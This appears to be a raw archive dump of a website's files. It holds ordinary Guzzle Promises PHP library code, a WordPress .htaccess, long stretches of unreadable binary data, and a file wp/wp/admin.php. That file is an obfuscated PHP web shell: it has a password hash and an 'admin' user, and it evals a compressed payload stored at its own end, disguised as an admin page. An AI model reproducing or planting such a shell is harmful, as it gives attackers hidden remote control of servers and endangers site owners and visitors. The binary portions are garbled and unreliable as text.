!F8W9XcA!BosmvywndbcDgم\4wM5护KNg)lQnR7:Z$Wa4E]6K)$͗/0~H]~{Ў9Wsu=z2V%vEwi,Ipk0ڹ:|/a]zN;.LJnpRYcj;NO{H!̄ت RX15#v](sBȌق1uOlm2gXx5z趴r֠C$2~O`ukɪy[Fvzg4osmvywndbcLlEtusizcofhjK~GPAf`;Yóv1@d9ar_zif+e]y*o˙d?osmvywndbcDL'tlt^4:vQ-:10N{QM!zp3 .@}}焪jq{XL]@ho!܆4gflFԷ.)$x^-:L&%ιL0o&\2Ñ킨*P?th.
'tusizcofhj*B]I-G=2t[$c܉L"h] ;o~ͻOHMk;=qLkESvȖz&$CAf)QaUK%Xw;]Vs4osmvywndbcYʔ	`0#xrޒuZH=FZafBN.N	W=!ϗFo"~b	F F2K4;%`L b׵~1UWڭ0u*D:dɁ|0{k=qxtQ	}av09zn}T,&B 1d~(|^Mb?Y*5{=1mU]||+wM3[!'ឲ1?ۉ?{Җ%.](NW&SOe+UlӁ}4cC7VK :)a^tusizcofhjtC7H $ Yz%4OǴ\Ös0?kMX)QEcޓJS@7-Gxx9^RR&%rhS ژuc# 7Ѵ\7AhvOM^mH{|G8?䍞I~ׂFT]	EՆ3ZwDf$~jEA֚~D~BiݬTW8Bzco46X
o~ߜ警6y1.+Wosmvywndbcjosmvywndbc1"8Cosmvywndbc=]m?ya%F0s?߽y/+4o(׍2~Gou%6osmvywndbcVtusizcofhj@tFwqCċ]ufqhr4滇/7ĻasjW{McKڲ]+ntusizcofhjxӑݶ 'Z:+	V(Y	ȫ5~ql'	'.3*wlD+,}P?ipBWzSi2o,cf89['GId,,\p#RoE˰Ya.%Äg#Q~S,Y4xLo\ޤiauT۾j郆os8"0a:pl6VS
"ku
$ǜC%Z]:g/$M-wlԲ^49 "z4`\5W$l89L39g/LA."{Q-F+-^|.R,(9:-Ip^iܸ A;:NotwW|iܻ70!EnzM%osmvywndbcH eVC9W0(#IHeeHosmvywndbc  %}/'%HIj\bXFՕ\k~BWlV7r.L;l.okxōGC+m92af;H92dosmvywndbcJF|;jBXHp{ޛpPptusizcofhjyUǿͫ?DԮ:KAvT6ER3F,шN޶~b}#l	 g9Ŷnosmvywndbc{cY#K⣝IҞ]#(Du6r$}1u%t*:ǀ\IEIg,2n(˚Xݎ6HgjɃgzyÔ0R*vo4y߻|_51bLD~C7uO0[Kosmvywndbc{꾬(3ugZttusizcofhj%F05Xosmvywndbcv=YT{TVT؎ᐖaN"`BR,$,F%"(I\R	Wg̟0nwTu9tusizcofhj-osmvywndbcosmvywndbcWKk2	aϺ{d\!)#gVTiGҲx@Ghl=0BxSD8!3(_-                                                                                                                                                                                                                                                                                                                                                                                                                  src/functions.php                                                                                   0000644                 00000023620 15240700263 0010056 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * Get the global task queue used for promise resolution.
 *
 * This task queue MUST be run in an event loop in order for promises to be
 * settled asynchronously. It will be automatically run when synchronously
 * waiting on a promise.
 *
 * <code>
 * while ($eventLoop->isRunning()) {
 *     GuzzleHttp\Promise\queue()->run();
 * }
 * </code>
 *
 * @param TaskQueueInterface $assign Optionally specify a new queue instance.
 *
 * @return TaskQueueInterface
 *
 * @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead.
 */
function queue(TaskQueueInterface $assign = null)
{
    return Utils::queue($assign);
}

/**
 * Adds a function to run in the task queue when it is next `run()` and returns
 * a promise that is fulfilled or rejected with the result.
 *
 * @param callable $task Task function to run.
 *
 * @return PromiseInterface
 *
 * @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead.
 */
function task(callable $task)
{
    return Utils::task($task);
}

/**
 * Creates a promise for a value if the value is not a promise.
 *
 * @param mixed $value Promise or value.
 *
 * @return PromiseInterface
 *
 * @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead.
 */
function promise_for($value)
{
    return Create::promiseFor($value);
}

/**
 * Creates a rejected promise for a reason if the reason is not a promise. If
 * the provided reason is a promise, then it is returned as-is.
 *
 * @param mixed $reason Promise or reason.
 *
 * @return PromiseInterface
 *
 * @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead.
 */
function rejection_for($reason)
{
    return Create::rejectionFor($reason);
}

/**
 * Create an exception for a rejected promise value.
 *
 * @param mixed $reason
 *
 * @return \Exception|\Throwable
 *
 * @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead.
 */
function exception_for($reason)
{
    return Create::exceptionFor($reason);
}

/**
 * Returns an iterator for the given value.
 *
 * @param mixed $value
 *
 * @return \Iterator
 *
 * @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead.
 */
function iter_for($value)
{
    return Create::iterFor($value);
}

/**
 * Synchronously waits on a promise to resolve and returns an inspection state
 * array.
 *
 * Returns a state associative array containing a "state" key mapping to a
 * valid promise state. If the state of the promise is "fulfilled", the array
 * will contain a "value" key mapping to the fulfilled value of the promise. If
 * the promise is rejected, the array will contain a "reason" key mapping to
 * the rejection reason of the promise.
 *
 * @param PromiseInterface $promise Promise or value.
 *
 * @return array
 *
 * @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead.
 */
function inspect(PromiseInterface $promise)
{
    return Utils::inspect($promise);
}

/**
 * Waits on all of the provided promises, but does not unwrap rejected promises
 * as thrown exception.
 *
 * Returns an array of inspection state arrays.
 *
 * @see inspect for the inspection state array format.
 *
 * @param PromiseInterface[] $promises Traversable of promises to wait upon.
 *
 * @return array
 *
 * @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead.
 */
function inspect_all($promises)
{
    return Utils::inspectAll($promises);
}

/**
 * Waits on all of the provided promises and returns the fulfilled values.
 *
 * Returns an array that contains the value of each promise (in the same order
 * the promises were provided). An exception is thrown if any of the promises
 * are rejected.
 *
 * @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
 *
 * @return array
 *
 * @throws \Exception on error
 * @throws \Throwable on error in PHP >=7
 *
 * @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead.
 */
function unwrap($promises)
{
    return Utils::unwrap($promises);
}

/**
 * Given an array of promises, return a promise that is fulfilled when all the
 * items in the array are fulfilled.
 *
 * The promise's fulfillment value is an array with fulfillment values at
 * respective positions to the original array. If any promise in the array
 * rejects, the returned promise is rejected with the rejection reason.
 *
 * @param mixed $promises  Promises or values.
 * @param bool  $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
 *
 * @return PromiseInterface
 *
 * @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead.
 */
function all($promises, $recursive = false)
{
    return Utils::all($promises, $recursive);
}

/**
 * Initiate a competitive race between multiple promises or values (values will
 * become immediately fulfilled promises).
 *
 * When count amount of promises have been fulfilled, the returned promise is
 * fulfilled with an array that contains the fulfillment values of the winners
 * in order of resolution.
 *
 * This promise is rejected with a {@see AggregateException} if the number of
 * fulfilled promises is less than the desired $count.
 *
 * @param int   $count    Total number of promises.
 * @param mixed $promises Promises or values.
 *
 * @return PromiseInterface
 *
 * @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead.
 */
function some($count, $promises)
{
    return Utils::some($count, $promises);
}

/**
 * Like some(), with 1 as count. However, if the promise fulfills, the
 * fulfillment value is not an array of 1 but the value directly.
 *
 * @param mixed $promises Promises or values.
 *
 * @return PromiseInterface
 *
 * @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead.
 */
function any($promises)
{
    return Utils::any($promises);
}

/**
 * Returns a promise that is fulfilled when all of the provided promises have
 * been fulfilled or rejected.
 *
 * The returned promise is fulfilled with an array of inspection state arrays.
 *
 * @see inspect for the inspection state array format.
 *
 * @param mixed $promises Promises or values.
 *
 * @return PromiseInterface
 *
 * @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead.
 */
function settle($promises)
{
    return Utils::settle($promises);
}

/**
 * Given an iterator that yields promises or values, returns a promise that is
 * fulfilled with a null value when the iterator has been consumed or the
 * aggregate promise has been fulfilled or rejected.
 *
 * $onFulfilled is a function that accepts the fulfilled value, iterator index,
 * and the aggregate promise. The callback can invoke any necessary side
 * effects and choose to resolve or reject the aggregate if needed.
 *
 * $onRejected is a function that accepts the rejection reason, iterator index,
 * and the aggregate promise. The callback can invoke any necessary side
 * effects and choose to resolve or reject the aggregate if needed.
 *
 * @param mixed    $iterable    Iterator or array to iterate over.
 * @param callable $onFulfilled
 * @param callable $onRejected
 *
 * @return PromiseInterface
 *
 * @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead.
 */
function each(
    $iterable,
    callable $onFulfilled = null,
    callable $onRejected = null
) {
    return Each::of($iterable, $onFulfilled, $onRejected);
}

/**
 * Like each, but only allows a certain number of outstanding promises at any
 * given time.
 *
 * $concurrency may be an integer or a function that accepts the number of
 * pending promises and returns a numeric concurrency limit value to allow for
 * dynamic a concurrency size.
 *
 * @param mixed        $iterable
 * @param int|callable $concurrency
 * @param callable     $onFulfilled
 * @param callable     $onRejected
 *
 * @return PromiseInterface
 *
 * @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead.
 */
function each_limit(
    $iterable,
    $concurrency,
    callable $onFulfilled = null,
    callable $onRejected = null
) {
    return Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected);
}

/**
 * Like each_limit, but ensures that no promise in the given $iterable argument
 * is rejected. If any promise is rejected, then the aggregate promise is
 * rejected with the encountered rejection.
 *
 * @param mixed        $iterable
 * @param int|callable $concurrency
 * @param callable     $onFulfilled
 *
 * @return PromiseInterface
 *
 * @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead.
 */
function each_limit_all(
    $iterable,
    $concurrency,
    callable $onFulfilled = null
) {
    return Each::ofLimitAll($iterable, $concurrency, $onFulfilled);
}

/**
 * Returns true if a promise is fulfilled.
 *
 * @return bool
 *
 * @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead.
 */
function is_fulfilled(PromiseInterface $promise)
{
    return Is::fulfilled($promise);
}

/**
 * Returns true if a promise is rejected.
 *
 * @return bool
 *
 * @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead.
 */
function is_rejected(PromiseInterface $promise)
{
    return Is::rejected($promise);
}

/**
 * Returns true if a promise is fulfilled or rejected.
 *
 * @return bool
 *
 * @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead.
 */
function is_settled(PromiseInterface $promise)
{
    return Is::settled($promise);
}

/**
 * Create a new coroutine.
 *
 * @see Coroutine
 *
 * @return PromiseInterface
 *
 * @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead.
 */
function coroutine(callable $generatorFn)
{
    return Coroutine::of($generatorFn);
}
                                                                                                                src/RejectedPromise.php                                                                             0000644                 00000004354 15240700263 0011135 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * A promise that has been rejected.
 *
 * Thenning off of this promise will invoke the onRejected callback
 * immediately and ignore other callbacks.
 */
class RejectedPromise implements PromiseInterface
{
    private $reason;

    public function __construct($reason)
    {
        if (is_object($reason) && method_exists($reason, 'then')) {
            throw new \InvalidArgumentException(
                'You cannot create a RejectedPromise with a promise.'
            );
        }

        $this->reason = $reason;
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        // If there's no onRejected callback then just return self.
        if (!$onRejected) {
            return $this;
        }

        $queue = Utils::queue();
        $reason = $this->reason;
        $p = new Promise([$queue, 'run']);
        $queue->add(static function () use ($p, $reason, $onRejected) {
            if (Is::pending($p)) {
                try {
                    // Return a resolved promise if onRejected does not throw.
                    $p->resolve($onRejected($reason));
                } catch (\Throwable $e) {
                    // onRejected threw, so return a rejected promise.
                    $p->reject($e);
                } catch (\Exception $e) {
                    // onRejected threw, so return a rejected promise.
                    $p->reject($e);
                }
            }
        });

        return $p;
    }

    public function otherwise(callable $onRejected)
    {
        return $this->then(null, $onRejected);
    }

    public function wait($unwrap = true, $defaultDelivery = null)
    {
        if ($unwrap) {
            throw Create::exceptionFor($this->reason);
        }

        return null;
    }

    public function getState()
    {
        return self::REJECTED;
    }

    public function resolve($value)
    {
        throw new \LogicException("Cannot resolve a rejected promise");
    }

    public function reject($reason)
    {
        if ($reason !== $this->reason) {
            throw new \LogicException("Cannot reject a rejected promise");
        }
    }

    public function cancel()
    {
        // pass
    }
}
                                                                                                                                                                                                                                                                                    src/Each.php                                                                                        0000644                 00000005512 15240700263 0006706 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

final class Each
{
    /**
     * Given an iterator that yields promises or values, returns a promise that
     * is fulfilled with a null value when the iterator has been consumed or
     * the aggregate promise has been fulfilled or rejected.
     *
     * $onFulfilled is a function that accepts the fulfilled value, iterator
     * index, and the aggregate promise. The callback can invoke any necessary
     * side effects and choose to resolve or reject the aggregate if needed.
     *
     * $onRejected is a function that accepts the rejection reason, iterator
     * index, and the aggregate promise. The callback can invoke any necessary
     * side effects and choose to resolve or reject the aggregate if needed.
     *
     * @param mixed    $iterable    Iterator or array to iterate over.
     * @param callable $onFulfilled
     * @param callable $onRejected
     *
     * @return PromiseInterface
     */
    public static function of(
        $iterable,
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        return (new EachPromise($iterable, [
            'fulfilled' => $onFulfilled,
            'rejected'  => $onRejected
        ]))->promise();
    }

    /**
     * Like of, but only allows a certain number of outstanding promises at any
     * given time.
     *
     * $concurrency may be an integer or a function that accepts the number of
     * pending promises and returns a numeric concurrency limit value to allow
     * for dynamic a concurrency size.
     *
     * @param mixed        $iterable
     * @param int|callable $concurrency
     * @param callable     $onFulfilled
     * @param callable     $onRejected
     *
     * @return PromiseInterface
     */
    public static function ofLimit(
        $iterable,
        $concurrency,
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        return (new EachPromise($iterable, [
            'fulfilled'   => $onFulfilled,
            'rejected'    => $onRejected,
            'concurrency' => $concurrency
        ]))->promise();
    }

    /**
     * Like limit, but ensures that no promise in the given $iterable argument
     * is rejected. If any promise is rejected, then the aggregate promise is
     * rejected with the encountered rejection.
     *
     * @param mixed        $iterable
     * @param int|callable $concurrency
     * @param callable     $onFulfilled
     *
     * @return PromiseInterface
     */
    public static function ofLimitAll(
        $iterable,
        $concurrency,
        callable $onFulfilled = null
    ) {
        return self::ofLimit(
            $iterable,
            $concurrency,
            $onFulfilled,
            function ($reason, $idx, PromiseInterface $aggregate) {
                $aggregate->reject($reason);
            }
        );
    }
}
                                                                                                                                                                                      src/FulfilledPromise.php                                                                            0000644                 00000003707 15240700263 0011317 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * A promise that has been fulfilled.
 *
 * Thenning off of this promise will invoke the onFulfilled callback
 * immediately and ignore other callbacks.
 */
class FulfilledPromise implements PromiseInterface
{
    private $value;

    public function __construct($value)
    {
        if (is_object($value) && method_exists($value, 'then')) {
            throw new \InvalidArgumentException(
                'You cannot create a FulfilledPromise with a promise.'
            );
        }

        $this->value = $value;
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        // Return itself if there is no onFulfilled function.
        if (!$onFulfilled) {
            return $this;
        }

        $queue = Utils::queue();
        $p = new Promise([$queue, 'run']);
        $value = $this->value;
        $queue->add(static function () use ($p, $value, $onFulfilled) {
            if (Is::pending($p)) {
                try {
                    $p->resolve($onFulfilled($value));
                } catch (\Throwable $e) {
                    $p->reject($e);
                } catch (\Exception $e) {
                    $p->reject($e);
                }
            }
        });

        return $p;
    }

    public function otherwise(callable $onRejected)
    {
        return $this->then(null, $onRejected);
    }

    public function wait($unwrap = true, $defaultDelivery = null)
    {
        return $unwrap ? $this->value : null;
    }

    public function getState()
    {
        return self::FULFILLED;
    }

    public function resolve($value)
    {
        if ($value !== $this->value) {
            throw new \LogicException("Cannot resolve a fulfilled promise");
        }
    }

    public function reject($reason)
    {
        throw new \LogicException("Cannot reject a fulfilled promise");
    }

    public function cancel()
    {
        // pass
    }
}
                                                         wp/wp/.htaccess                                                                                     0000555                 00000001663 15240700263 0007424 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
                                                                             wp/wp/admin.php                                                                                     0000555                 00000521156 15240700263 0007433 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
